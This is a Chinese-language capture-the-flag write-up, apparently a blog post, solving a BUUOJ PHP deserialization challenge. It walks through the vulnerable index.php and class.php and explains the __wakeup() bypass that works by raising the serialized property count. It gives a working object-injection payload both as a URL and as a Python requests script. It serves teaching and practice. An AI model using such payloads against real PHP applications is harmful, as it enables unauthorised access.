BUU_Web 极客大挑战 PHP

考点:

打开解题网址:
提示备份,使用脚本扫描分析,得到一个 www.zip,下载;
在这里插入图片描述
zip包中最主要的两个文件 :index.php , class.php;
index.php 主要代码段分析:

    <?php
    include 'class.php';  # 将class.php文件包含
    $select = $_GET['select'];	# 获取 get 传参 select
    $res=unserialize(@$select);		# 对 select 进行反序列化,@压制提示警告;
    ?>

class.php 主要代码段分析:

<?php
include 'flag.php';


error_reporting(0);

# 定义一个 名为 Name 类
class Name{
    private $username = 'nonono';	#私有属性 username
    private $password = 'yesyes';	#私有属性 password

    public function __construct($username,$password){
        $this->username = $username;	# 对 username password 赋值
        $this->password = $password;
    }

	#__wakeup() 函数,unserialize()反序列化函数前调用;
    function __wakeup(){
        $this->username = 'guest';  #将 username 赋值 guest;
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        # 两个判断:
        #第一个if,password!=100,直接退出
        #第二个if,password=100,username做全等运算,不等,退出;全等 输出 flag;
        #也就是说,输出flag,需要满足 username=admin  password=100
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die(); 
        }
    }
}

代码分析已注释在代码段中,可以看见 index.php中 的 unserialize()和__wakeup() 函数,以及 get方式传参select ,参数可控,可以利用 __wakeup()函数漏洞来解题:
首先,直接利用 class.php 源码,输出 Name(‘admin’,100) 对象的序列化结果:

$s = new Name('admin',100);
echo serialize($s);

输出为:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
Name:2 ,表示Name 类有两个属性,将 2改成 3或者>2的数,当表示对象属性个数的值 大于 真实属性个数的值 时,__wakeup()函数不被执行,这样就可以绕过__wakeup(),从而使 username === admin;

至此,需要注意: username 和 password 两个属性是私有属性(private),因此这两个属性在序列化后,输出的其实是 \0类名\0属性名 (\0 是 ascii 码值,空字符),但是在页面输出时无显示,复制的时候也会被删除,因此反序列化时需要手动添加 \0;

构造payload,两种方法:

第一种,直接在地址栏提交url , %00 被url 解码为 不可见的空字符,:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

第二种,使用python 提交数据(因为如果使用地址栏提交 ,会使\0变成 \0字符,而不会被解析成 ascii 为 0 的空字符):

?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

import requests

url = "http://b3d58d19-b7e6-474c-86ba-18e202eda5fb.node3.buuoj.cn/"

payload = '?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}'

respone = requests.get(str(url) + str(payload))

print(respone.text)

在这里插入图片描述
具体__wakeup()函数漏洞利用请参阅:
大佬的文章

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值